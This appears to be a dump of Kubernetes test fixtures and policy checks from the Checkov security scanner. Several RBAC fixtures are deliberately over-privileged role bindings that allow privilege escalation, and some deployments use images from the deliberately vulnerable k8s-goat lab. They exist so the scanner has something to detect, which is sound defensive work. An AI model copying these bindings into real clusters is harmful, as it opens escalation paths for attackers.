RoleBinding metadata: name: failing-rb3 namespace: kube-system subjects: - kind: ServiceAccount name: over-privileged-sa3 namespace: test roleRef: kind: Role name: failing-role3 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing1/PassingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr1 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "pods" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing1/PassingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: passing-crb1 subjects: - kind: ServiceAccount name: not-that-privileged namespace: default roleRef: kind: ClusterRole name: passing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing2/PassingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr2 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "*" verbs: - "bind" - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing2/PassingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb2 subjects: - kind: User # This should pass as the check only filters on `ServiceAccount/Node` name: over-privileged-user namespace: prod roleRef: kind: ClusterRole name: passing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing3/PassingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb3 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: not-existing-role # Should pass, as no such ClusterRole exists apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/expected.yaml ================================================ pass: - "ClusterRoleBinding.default.passing-crb1" - "ClusterRoleBinding.default.passing-crb2" - "ClusterRoleBinding.default.passing-crb3" fail: - "ClusterRoleBinding.default.failing-crb1" - "ClusterRoleBinding.default.failing-crb2" - "RoleBinding.kube-system.failing-rb3" ================================================ FILE: tests/kubernetes/graph/checks/test_checks/AllowPrivilegeEscalation.yaml ================================================ metadata: id: "CKV2_K8S_20" name: "Containers should not run with allowPrivilegeEscalation (for template entities)" category: "KUBERNETES" definition: cond_type: attribute attribute: spec.containers.*.securityContext.allowPrivilegeEscalation value: false operator: equals resource_types: - Pod ================================================ FILE: tests/kubernetes/graph/checks/test_checks/AllowedCapabilities.yaml ================================================ metadata: id: "CKV2_K8S_25" name: "Minimize the admission of containers with added capability (for template entities)" category: "KUBERNETES" definition: cond_type: attribute attribute: spec.containers.*.securityContext.capabilities.add operator: not_exists resource_types: - Pod ================================================ FILE: tests/kubernetes/graph/checks/test_checks/DefaultNamespace.yaml ================================================ metadata: id: "CKV2_K8S_21" name: "The default namespace should not be used" category: "KUBERNETES" definition: or: - and: - cond_type: attribute attribute: spec.metadata.namespace operator: exists resource_types: - Pod - Deployment - DaemonSet - StatefulSet - ReplicaSet - ReplicationController - Job - CronJob - Service - Secret - ServiceAccount - Role - RoleBinding - ConfigMap - Ingress - cond_type: attribute attribute: spec.metadata.namespace operator: not_equals value: 'default' resource_types: - Pod - Deployment - DaemonSet - StatefulSet - ReplicaSet - ReplicationController - Job - CronJob - Service - Secret - ServiceAccount - Role - RoleBinding - ConfigMap - Ingress - cond_type: attribute attribute: spec.metadata.name operator: equals value: "default" resource_types: - ServiceAccount - cond_type: attribute attribute: spec.metadata.name operator: equals value: "kubernetes" resource_types: - Service ================================================ FILE: tests/kubernetes/graph/checks/test_checks/IsNotEmpty.yaml ================================================ metadata: name: "Missing or empty containers in K8S Deployment" id: "NOT_EMPTY_01" category: "KUBERNETES" scope: provider: kubernetes definition: cond_type: "attribute" resource_types: - "Deployment" attribute: "spec.selector.matchLabels" operator: "is_not_empty" ================================================ FILE: tests/kubernetes/graph/checks/test_checks/NoDefaultNamespace.yaml ================================================ metadata: id: "CKV_K8S_160" name: "Ensure resources in k8s not in default namespace" category: "KUBERNETES" definition: and: - cond_type: "attribute" resource_types: - "Deployment" - "StatefulSet" - "DaemonSet" - "Job" - "CronJob" - "Pod" - "Service" - "ConfigMap" - "Secret" attribute: "metadata.namespace" operator: "exists" - cond_type: "attribute" resource_types: - "Deployment" - "StatefulSet" - "DaemonSet" - "Job" - "CronJob" - "Pod" - "Service" - "ConfigMap" - "Secret" attribute: "metadata.namespace" operator: "not_equals" value: "default" - cond_type: "attribute" resource_types: - "Deployment" - "StatefulSet" - "DaemonSet" - "Job" - "CronJob" - "Pod" - "Service" - "ConfigMap" - "Secret" attribute: "metadata.namespace" operator: "not_equals" value: "kube-system" - cond_type: "attribute" resource_types: - "Deployment" - "StatefulSet" - "DaemonSet" - "Job" - "CronJob" - "Pod" - "Service" - "ConfigMap" - "Secret" attribute: "metadata.namespace" operator: "not_regex_match" value: "^kube-.*" ================================================ FILE: tests/kubernetes/graph/checks/test_checks/PodIsPubliclyAccessibleExample.yaml ================================================ metadata: id: "CKV2_K8S_EXAMPLE_1" name: "Pod is publicly accessible" category: "KUBERNETES" definition: and: - cond_type: filter value: - Pod operator: within attribute: kind - or: - cond_type: connection operator: not_exists resource_types: - Pod connected_resource_types: - Service - and: - cond_type: connection operator: exists resource_types: - Pod connected_resource_types: - Service - cond_type: attribute attribute: 'spec.type' operator: not_within value: - 'LoadBalancer' - 'NodePort' resource_types: - Service ================================================ FILE: tests/kubernetes/graph/checks/test_yaml_policies.py ================================================ import copy import os import os.path from parameterized import parameterized_class from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.kubernetes.graph_manager import KubernetesGraphManager from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def tearDown(self) -> None: self.get_checks_registry().checks = [] def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = KubernetesGraphManager(db_connector=db_connector) real_graph_checks_relative_path = "checkov/kubernetes/checks/graph_checks" real_graph_checks_path = os.path.join(os.path.dirname(__file__), '..', '..', '..', '..', real_graph_checks_relative_path) super().__init__(graph_manager, real_graph_checks_path, os.path.dirname(__file__) + "/test_checks", 'kubernetes', __file__, args) def test_AllowedCapabilities(self): self.go('AllowedCapabilities') def test_AllowPrivilegeEscalation(self): self.go('AllowPrivilegeEscalation') def test_RoleBindingPE(self) -> None: self.go('RoleBindingPE') def test_NoCreateNodesProxyOrPodsExec(self) -> None: self.go('NoCreateNodesProxyOrPodsExec') def test_ImpersonatePermissions(self) -> None: self.go("ImpersonatePermissions") def test_ModifyServicesStatus(self) -> None: self.go('ModifyServicesStatus') def test_ReadAllSecrets(self) -> None: self.go('ReadAllSecrets') def test_PodIsPubliclyAccessibleExample(self) -> None: self.go('PodIsPubliclyAccessibleExample') def test_RequireAllPodsToHaveNetworkPolicy(self) -> None: self.go('RequireAllPodsToHaveNetworkPolicy') def test_NoDefaultNamespace(self): self.go('NoDefaultNamespace') def create_report_from_graph_checks_results(self, checks_results, check): report = Report("kubernetes") first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record(check_id=check['id'], check_name=check['name'], check_result=copy.deepcopy(check_result), code_block="", file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get('__startline__'), entity.get('__endline__')], resource=entity.get(CustomAttributes.BLOCK_NAME), evaluations={}, check_class=check.__class__.__module__, file_abs_path=entity.get(CustomAttributes.FILE_PATH)) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report def assert_evaluated_keys(self, checks_results, check): pass ================================================ FILE: tests/kubernetes/graph/resources/Keyword/clusterrolebinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: failing-crb1 subjects: - kind: ServiceAccount name: service-account-name namespace: default - kind: ServiceAccount name: service-account-name2 namespace: default roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io --- apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: serviceAccount: service-account-name containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["*"] --- apiVersion: v1 kind: ServiceAccount metadata: name: service-account-name --- apiVersion: v1 kind: ServiceAccount metadata: name: service-account-name2 ================================================ FILE: tests/kubernetes/graph/resources/Keyword/network-policy-attached.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: myapp-pod namespace: default labels: app: myapp-pod spec: containers: - name: nginx image: nginx:1.7.9 ports: - containerPort: 80 --- apiVersion: v1 kind: Pod metadata: name: myapp-pod2 namespace: default labels: app: myapp-pod2 spec: containers: - name: myapp-container image: byrnedo/alpine-curl command: ["/bin/sh"] args: ["-c", "sleep 36000"] --- apiVersion: v1 kind: Service metadata: name: myapp-pod namespace: default labels: app: myapp-pod spec: ports: - port: 80 protocol: TCP selector: app: myapp-pod --- kind: NetworkPolicy apiVersion: networking.k8s.io/v1 metadata: name: myapp-pod-to-myapp-pod2 namespace: default spec: podSelector: matchLabels: app: myapp-pod ingress: - from: - ipBlock: cidr: 1.1.1.1/32 - ipBlock: cidr: 2.2.2.2/32 - podSelector: matchLabels: app: myapp-pod2 ports: - port: 80 protocol: UDP --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-ingress spec: podSelector: {} policyTypes: - Ingress ================================================ FILE: tests/kubernetes/graph/resources/Keyword/pod_service_account.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: webserver namespace: prod spec: serviceAccountName: over-privileged-sa2 containers: - name: webserver image: nginx:latest ports: - containerPort: 80 --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: failing-cr2 apiGroup: rbac.authorization.k8s.io --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr2 rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["*"] verbs: ["bind", "create"] --- apiVersion: v1 kind: ServiceAccount metadata: name: over-privileged-sa2 ================================================ FILE: tests/kubernetes/graph/resources/LabelSelector/label_selector_match.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/resources/LabelSelector/label_selector_multiple_resources.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 --- apiVersion: v1 kind: Pod metadata: name: old_nginx spec: containers: - name: nginx image: nginx:1.13.0 ports: - containerPort: 88 ================================================ FILE: tests/kubernetes/graph/resources/LabelSelector/label_selector_non_match.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: apache spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/resources/custom_resource.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Rollout metadata: name: rollout-pairs-admin annotations: notifications.argoproj.io/subscribe.on-rollout-completed.slack: pairs-deploy-prod notifications.argoproj.io/subscribe.on-rollout-aborted.slack: pairs-deploy-prod spec: strategy: blueGreen: # Name of the service that the rollout modifies as the active service. activeService: service-pairs-admin-stable # Name of the service that the rollout modifies as the preview service. +optional # previewService: service-pairs-admin-stable # The number of replicas to run under the preview service before the switchover. Once the rollout is resumed the new replicaset will be full scaled up before the switch occurs +optional previewReplicaCount: 1 # Indicates if the rollout should automatically promote the new ReplicaSet to the active service or enter a paused state. If not specified, the default value is true. +optional autoPromotionEnabled: true # Adds a delay before scaling down the previous replicaset. If omitted, the Rollout waits 30 seconds before scaling down the previous ReplicaSet. A minimum of 30 seconds is recommended to ensure IP table propagation across the nodes in a cluster. See https://github.com/argoproj/argo-rollouts/issues/19#issuecomment-476329960 for more information scaleDownDelaySeconds: 120 progressDeadlineSeconds: 600 progressDeadlineAbort: true selector: matchLabels: app: prod-pairs-tw-admin template: metadata: labels: name: prod-pairs-tw-admin app: prod-pairs-tw-admin spec: # https://aws.github.io/aws-eks-best-practices/reliability/docs/application/#schedule-replicas-across-nodes affinity: podAntiAffinity: preferredDuringSchedulingIgnoredDuringExecution: - podAffinityTerm: labelSelector: matchExpressions: - key: name operator: In values: - prod-pairs-tw-admin topologyKey: topology.kubernetes.io/zone weight: 100 - podAffinityTerm: labelSelector: matchExpressions: - key: name operator: In values: - prod-pairs-tw-admin topologyKey: kubernetes.io/hostname weight: 99 nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: eks.amazonaws.com/nodegroup operator: In values: - prod-ceres-v124-ondemand-nodes-20221212 - prod-ceres-v124-spot-nodes-20221212 terminationGracePeriodSeconds: 50 containers: - name: app-container image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/pairs-fs/prod-tw-admin:34dfbb8b0c01b8db904b945a3790a371244839ef ports: - name: app containerPort: 80 resources: requests: cpu: "800m" memory: "1000M" limits: cpu: "800m" memory: "1000M" readinessProbe: httpGet: path: /health_check port: 80 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: httpGet: path: /health_check port: 80 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] volumeMounts: - name: log mountPath: /log/ envFrom: - configMapRef: name: pairs-tw-admin-envs - secretRef: name: pairs-tw-admin-secrets - name: td-agent image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/td-agent:20221121073136master imagePullPolicy: IfNotPresent ports: - name: td-agent containerPort: 20224 resources: requests: cpu: "200m" memory: "700M" limits: cpu: "200m" memory: "700M" readinessProbe: tcpSocket: port: 20224 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: tcpSocket: port: 20224 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] volumeMounts: - name: log mountPath: /log/ readOnly: true env: - name: ENV_TD_AGENT_MODE value: pairs - name: ENV_TD_CUSTOMS value: pairs_access - name: RUN_ENV value: prod - name: RUN_REGION value: tw - name: RUN_SERVICE value: admin - name: METIS_PROJECT_ID value: eure-metis envFrom: - secretRef: name: pairs-admin-tdagent-secrets - name: datadog-agent image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/datadog-agent:20220530102433master imagePullPolicy: IfNotPresent ports: - name: datadog containerPort: 8126 resources: requests: cpu: "75m" memory: "300M" limits: cpu: "75m" memory: "300M" readinessProbe: tcpSocket: port: 8126 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: tcpSocket: port: 8126 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] env: - name: DD_DOCKER_LABELS_AS_TAGS value: '{\"role\":\"role\"}' - name: DD_HOSTNAME value: pairsadmin-eks-prod-tw - name: DD_TAGS value: 'region:tw service:pairs-admin role:admin env:prod' - name: ENV_DD_REGION value: tw - name: ENV_DD_SERVICE value: pairs-admin - name: ENV_DD_ENV value: prod - name: ENV_DD_ROLE value: admin - name: ENV_DD_ENABLED_OPTS value: 'nginx' - name: KUBERNETES value: 'yes' - name: DD_LOGS_ENABLED value: 'true' - name: DD_APM_ENABLED value: 'true' - name: DD_APM_ENV value: prod envFrom: - secretRef: name: pairs-admin-datadog-secrets ================================================ FILE: tests/kubernetes/graph/resources/definitions/.hidden/graph_check.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: internal-proxy-deployment labels: app: internal-proxy spec: selector: matchLabels: app: internal-proxy template: metadata: labels: app: internal-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: apps/v1 kind: Deployment metadata: name: external-proxy-deployment labels: app: external-proxy spec: selector: matchLabels: app: external-proxy template: metadata: labels: app: external-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: app: internal-proxy policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - podSelector: matchLabels: app: internal-proxy ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 --- apiVersion: apps/v1 kind: Deployment metadata: name: skipdeployment annotations: "checkov.io/skip": "CKV2_K8S_6=skip it" labels: app: skip spec: selector: matchLabels: app: skip template: metadata: labels: app: skip spec: containers: - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 ================================================ FILE: tests/kubernetes/graph/resources/definitions/custom_resource.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Rollout metadata: name: rollout-pairs-admin annotations: notifications.argoproj.io/subscribe.on-rollout-completed.slack: pairs-deploy-prod notifications.argoproj.io/subscribe.on-rollout-aborted.slack: pairs-deploy-prod spec: strategy: blueGreen: # Name of the service that the rollout modifies as the active service. activeService: service-pairs-admin-stable # Name of the service that the rollout modifies as the preview service. +optional # previewService: service-pairs-admin-stable # The number of replicas to run under the preview service before the switchover. Once the rollout is resumed the new replicaset will be full scaled up before the switch occurs +optional previewReplicaCount: 1 # Indicates if the rollout should automatically promote the new ReplicaSet to the active service or enter a paused state. If not specified, the default value is true. +optional autoPromotionEnabled: true # Adds a delay before scaling down the previous replicaset. If omitted, the Rollout waits 30 seconds before scaling down the previous ReplicaSet. A minimum of 30 seconds is recommended to ensure IP table propagation across the nodes in a cluster. See https://github.com/argoproj/argo-rollouts/issues/19#issuecomment-476329960 for more information scaleDownDelaySeconds: 120 progressDeadlineSeconds: 600 progressDeadlineAbort: true selector: matchLabels: app: prod-pairs-tw-admin template: metadata: labels: name: prod-pairs-tw-admin app: prod-pairs-tw-admin spec: # https://aws.github.io/aws-eks-best-practices/reliability/docs/application/#schedule-replicas-across-nodes affinity: podAntiAffinity: preferredDuringSchedulingIgnoredDuringExecution: - podAffinityTerm: labelSelector: matchExpressions: - key: name operator: In values: - prod-pairs-tw-admin topologyKey: topology.kubernetes.io/zone weight: 100 - podAffinityTerm: labelSelector: matchExpressions: - key: name operator: In values: - prod-pairs-tw-admin topologyKey: kubernetes.io/hostname weight: 99 nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: eks.amazonaws.com/nodegroup operator: In values: - prod-ceres-v124-ondemand-nodes-20221212 - prod-ceres-v124-spot-nodes-20221212 terminationGracePeriodSeconds: 50 containers: - name: app-container image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/pairs-fs/prod-tw-admin:34dfbb8b0c01b8db904b945a3790a371244839ef ports: - name: app containerPort: 80 resources: requests: cpu: "800m" memory: "1000M" limits: cpu: "800m" memory: "1000M" readinessProbe: httpGet: path: /health_check port: 80 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: httpGet: path: /health_check port: 80 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] volumeMounts: - name: log mountPath: /log/ envFrom: - configMapRef: name: pairs-tw-admin-envs - secretRef: name: pairs-tw-admin-secrets - name: td-agent image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/td-agent:20221121073136master imagePullPolicy: IfNotPresent ports: - name: td-agent containerPort: 20224 resources: requests: cpu: "200m" memory: "700M" limits: cpu: "200m" memory: "700M" readinessProbe: tcpSocket: port: 20224 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: tcpSocket: port: 20224 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] volumeMounts: - name: log mountPath: /log/ readOnly: true env: - name: ENV_TD_AGENT_MODE value: pairs - name: ENV_TD_CUSTOMS value: pairs_access - name: RUN_ENV value: prod - name: RUN_REGION value: tw - name: RUN_SERVICE value: admin - name: METIS_PROJECT_ID value: eure-metis envFrom: - secretRef: name: pairs-admin-tdagent-secrets - name: datadog-agent image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/datadog-agent:20220530102433master imagePullPolicy: IfNotPresent ports: - name: datadog containerPort: 8126 resources: requests: cpu: "75m" memory: "300M" limits: cpu: "75m" memory: "300M" readinessProbe: tcpSocket: port: 8126 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 livenessProbe: tcpSocket: port: 8126 initialDelaySeconds: 5 periodSeconds: 3 failureThreshold: 30 lifecycle: preStop: exec: command: ["sh", "-c", "sleep 30"] env: - name: DD_DOCKER_LABELS_AS_TAGS value: '{\"role\":\"role\"}' - name: DD_HOSTNAME value: pairsadmin-eks-prod-tw - name: DD_TAGS value: 'region:tw service:pairs-admin role:admin env:prod' - name: ENV_DD_REGION value: tw - name: ENV_DD_SERVICE value: pairs-admin - name: ENV_DD_ENV value: prod - name: ENV_DD_ROLE value: admin - name: ENV_DD_ENABLED_OPTS value: 'nginx' - name: KUBERNETES value: 'yes' - name: DD_LOGS_ENABLED value: 'true' - name: DD_APM_ENABLED value: 'true' - name: DD_APM_ENV value: prod envFrom: - secretRef: name: pairs-admin-datadog-secrets ================================================ FILE: tests/kubernetes/graph/resources/faulty_resources/deployment_missing_metadata.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: spec: selector: matchLabels: app: myapp minReadySeconds: 5 template: metadata: labels: app: myapp spec: containers: - name: podName image: nginx resources: limits: memory: "128Mi" cpu: "500m" ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/resources/faulty_resources/incompatible_clusterrolebinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: failing-crb1 roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io subjects: --- apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: serviceAccount: service-account-name containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["*"] --- apiVersion: v1 kind: ServiceAccount metadata: name: service-account-name --- apiVersion: v1 kind: ServiceAccount metadata: name: service-account-name2 ================================================ FILE: tests/kubernetes/graph/resources/faulty_resources/incompatible_selector.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: deployment_name spec: selector: kill minReadySeconds: 5 template: metadata: labels: app: myapp spec: containers: - name: podName image: nginx resources: limits: memory: "128Mi" cpu: "500m" ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/resources/graph_check.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: internal-proxy-deployment labels: app: internal-proxy spec: selector: matchLabels: app: internal-proxy template: metadata: labels: app: internal-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: apps/v1 kind: Deployment metadata: name: external-proxy-deployment labels: app: external-proxy spec: selector: matchLabels: app: external-proxy template: metadata: labels: app: external-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: app: internal-proxy policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - podSelector: matchLabels: app: internal-proxy ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 --- apiVersion: apps/v1 kind: Deployment metadata: name: skipdeployment annotations: "checkov.io/skip": "CKV2_K8S_6=skip it" labels: app: skip spec: selector: matchLabels: app: skip template: metadata: labels: app: skip spec: containers: - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 ================================================ FILE: tests/kubernetes/graph/resources/nested_resource.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: deployment_name spec: selector: matchLabels: app: myapp minReadySeconds: 5 template: metadata: labels: app: myapp spec: containers: - name: podName image: nginx resources: limits: memory: "128Mi" cpu: "500m" ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/resources/statefulstate_nested_resource.yaml ================================================ apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always securityContext: capabilities: add: - IPC_LOCK ================================================ FILE: tests/kubernetes/graph/test_graph_manager.py ================================================ import os from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.kubernetes.graph_manager import KubernetesGraphManager from checkov.kubernetes.parser.parser import parse from tests.kubernetes.graph.base_graph_tests import TestGraph from checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestKubernetesGraphManager(TestGraph): def test_build_graph_from_source_directory_no_rendering(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, "../runner/resources")) graph_manager = KubernetesGraphManager(db_connector=NetworkxConnector()) graph_flags = K8sGraphFlags(create_complex_vertices=False, create_edges=False) graph_manager.graph_flags = graph_flags local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=False) expected_resources_by_file = { os.path.join(root_dir, "example.yaml"): [ "Service.default.kafka-hs"], os.path.join(root_dir, "example_multiple.yaml"): [ "PodDisruptionBudget.a.a", "Service.default.a"], os.path.join(root_dir, "graph.yaml"): [ "StatefulSet.default.cassandra", "Deployment.default.my-nginx", "Pod.default.cassandra.app-cassandra", "Pod.default.my-nginx.app-nginx"] } self.assertEqual(7, len(local_graph.vertices)) self.assertEqual(7, len(local_graph.vertices_by_block_type[BlockType.RESOURCE])) for v in local_graph.vertices: self.assertIn(v.name, expected_resources_by_file[v.path]) def test_build_graph_from_definitions(self): relative_file_path = "../checks/example_AllowedCapabilities/cronjob-PASSED.yaml" definitions = {} graph_flags = K8sGraphFlags(create_complex_vertices=False, create_edges=False) file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) resource = definitions[relative_file_path][0] graph_manager = KubernetesGraphManager(db_connector=NetworkxConnector()) graph_manager.graph_flags = graph_flags local_graph = graph_manager.build_graph_from_definitions(definitions) self.assertEqual(1, len(local_graph.vertices)) self.assert_vertex(local_graph.vertices[0], resource) ================================================ FILE: tests/kubernetes/graph/test_kubernetes_utils.py ================================================ import os from tests.kubernetes.graph.base_graph_tests import TestGraph from checkov.kubernetes.kubernetes_utils import build_resource_id_from_labels, PARENT_RESOURCE_KEY_NAME, should_include_path TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) RELATIVE_PATH = os.path.join("resources", "definitions") 